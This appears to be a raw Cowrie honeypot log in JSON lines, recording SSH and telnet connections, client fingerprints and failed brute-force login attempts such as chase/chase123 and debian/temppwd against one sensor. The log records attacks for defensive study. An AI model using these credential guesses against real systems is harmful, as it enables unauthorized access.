{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:30:14.040959Z","src_ip":"68.183.236.1","session":"de238e2b4d30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3","password":"1","message":"login attempt [ts3/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:30:15.059577Z","src_ip":"68.183.236.1","session":"de238e2b4d30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:30:16.309405Z","src_ip":"68.183.236.1","session":"de238e2b4d30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.90099549293518,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:30:17.587597Z","src_ip":"103.147.1.229","session":"c92bb29cd450","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.159","src_port":35405,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a9295598bb1","protocol":"ssh","message":"New connection: 213.209.159.159:35405 (10.17.0.5:22) [session: 6a9295598bb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:30:17.857232Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:30:17.862268Z","src_ip":"213.209.159.159","session":"6a9295598bb1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:30:17.945498Z","src_ip":"213.209.159.159","session":"6a9295598bb1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chase","password":"chase","message":"login attempt [chase/chase] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:30:18.353734Z","src_ip":"213.209.159.159","session":"6a9295598bb1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chase","password":"chase1","message":"login attempt [chase/chase1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:30:19.440645Z","src_ip":"213.209.159.159","session":"6a9295598bb1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59850,"dst_ip":"159.203.135.109","dst_port":22,"session":"a440ab9a3ade","protocol":"ssh","message":"New connection: 159.203.92.129:59850 (159.203.135.109:22) [session: a440ab9a3ade]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:30:20.310483Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:30:20.316243Z","src_ip":"159.203.92.129","session":"a440ab9a3ade","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:30:20.326477Z","src_ip":"159.203.92.129","session":"a440ab9a3ade","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"1","message":"login attempt [alex/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:30:20.343503Z","src_ip":"159.203.92.129","session":"a440ab9a3ade","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.36984395980835,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:30:20.358356Z","src_ip":"144.79.218.12","session":"1b19e389f102","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"chase","password":"chase123","message":"login attempt [chase/chase123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:30:20.529181Z","src_ip":"213.209.159.159","session":"6a9295598bb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.83271884918213,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:30:20.540613Z","src_ip":"144.79.218.12","session":"2c67f9be9289","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:30:21.412079Z","src_ip":"159.203.92.129","session":"a440ab9a3ade","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chase","password":"chase1234","message":"login attempt [chase/chase1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:30:21.615038Z","src_ip":"213.209.159.159","session":"6a9295598bb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.122990131378174,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:30:22.490320Z","src_ip":"144.79.218.12","session":"9ae5865cd743","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"chase","password":"chase12345","message":"login attempt [chase/chase12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:30:22.705010Z","src_ip":"213.209.159.159","session":"6a9295598bb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:30:23.792515Z","src_ip":"213.209.159.159","session":"6a9295598bb1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":52634,"dst_ip":"10.17.0.5","dst_port":23,"session":"99e14419d873","protocol":"telnet","message":"New connection: 144.79.218.12:52634 (10.17.0.5:23) [session: 99e14419d873]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:30:26.497552Z"}
{"eventid":"cowrie.session.closed","duration":37.79387450218201,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:30:28.901421Z","src_ip":"144.79.218.12","session":"d4d2d6a64f00","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.551111459732056,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:30:32.588741Z","src_ip":"144.79.218.12","session":"0fc8dfbbd0ae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.41454839706421,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:30:43.222872Z","src_ip":"144.79.218.12","session":"69a267a82180","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":55572,"dst_ip":"10.17.0.5","dst_port":23,"session":"0601dd5615c4","protocol":"telnet","message":"New connection: 144.79.218.12:55572 (10.17.0.5:23) [session: 0601dd5615c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:30:45.533998Z"}
{"eventid":"cowrie.session.connect","src_ip":"112.217.199.222","src_port":57314,"dst_ip":"10.17.0.5","dst_port":22,"session":"3dbc87404131","protocol":"ssh","message":"New connection: 112.217.199.222:57314 (10.17.0.5:22) [session: 3dbc87404131]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:30:52.688442Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:30:52.693182Z","src_ip":"112.217.199.222","session":"3dbc87404131","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:30:52.890837Z","src_ip":"112.217.199.222","session":"3dbc87404131","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"temppwd","message":"login attempt [debian/temppwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:30:53.712820Z","src_ip":"112.217.199.222","session":"3dbc87404131","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:30:54.914870Z","src_ip":"112.217.199.222","session":"3dbc87404131","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.50628423690796,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:31:00.003740Z","src_ip":"144.79.218.12","session":"99e14419d873","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":45622,"dst_ip":"159.203.135.109","dst_port":22,"session":"cfe411eae9bf","protocol":"ssh","message":"New connection: 159.203.92.129:45622 (159.203.135.109:22) [session: cfe411eae9bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:31:05.605369Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:31:05.609639Z","src_ip":"159.203.92.129","session":"cfe411eae9bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:31:05.612981Z","src_ip":"159.203.92.129","session":"cfe411eae9bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"11","message":"login attempt [alex/11] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:31:05.623081Z","src_ip":"159.203.92.129","session":"cfe411eae9bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:31:06.632452Z","src_ip":"159.203.92.129","session":"cfe411eae9bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":46220,"dst_ip":"159.203.135.109","dst_port":22,"session":"c7f3f9d9fc9c","protocol":"ssh","message":"New connection: 68.183.236.1:46220 (159.203.135.109:22) [session: c7f3f9d9fc9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:31:09.710309Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:31:09.714866Z","src_ip":"68.183.236.1","session":"c7f3f9d9fc9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:31:09.960904Z","src_ip":"68.183.236.1","session":"c7f3f9d9fc9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":57384,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5cff3acce7d","protocol":"telnet","message":"New connection: 144.79.218.12:57384 (10.17.0.5:23) [session: e5cff3acce7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:31:10.855746Z"}
{"eventid":"cowrie.login.failed","username":"test","password":"!qaz2wsx","message":"login attempt [test/!qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:31:10.977543Z","src_ip":"68.183.236.1","session":"c7f3f9d9fc9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:31:12.226416Z","src_ip":"68.183.236.1","session":"c7f3f9d9fc9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":57388,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d6343c1fafb","protocol":"telnet","message":"New connection: 144.79.218.12:57388 (10.17.0.5:23) [session: 3d6343c1fafb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:31:16.585403Z"}
{"eventid":"cowrie.session.closed","duration":36.51806330680847,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:31:22.051930Z","src_ip":"144.79.218.12","session":"0601dd5615c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":52994,"dst_ip":"10.17.0.5","dst_port":23,"session":"68b90eb83286","protocol":"telnet","message":"New connection: 144.79.218.12:52994 (10.17.0.5:23) [session: 68b90eb83286]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:31:26.127480Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":42058,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4e8613be357","protocol":"telnet","message":"New connection: 144.79.218.12:42058 (10.17.0.5:23) [session: d4e8613be357]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:31:31.516890Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":42070,"dst_ip":"10.17.0.5","dst_port":23,"session":"df5f4f8712e3","protocol":"telnet","message":"New connection: 144.79.218.12:42070 (10.17.0.5:23) [session: df5f4f8712e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:31:32.070518Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.134.240.52","src_port":55080,"dst_ip":"159.203.135.109","dst_port":22,"session":"97ad892891c8","protocol":"ssh","message":"New connection: 91.134.240.52:55080 (159.203.135.109:22) [session: 97ad892891c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:31:33.535138Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:31:33.565837Z","src_ip":"91.134.240.52","session":"97ad892891c8","protocol":"ssh"}
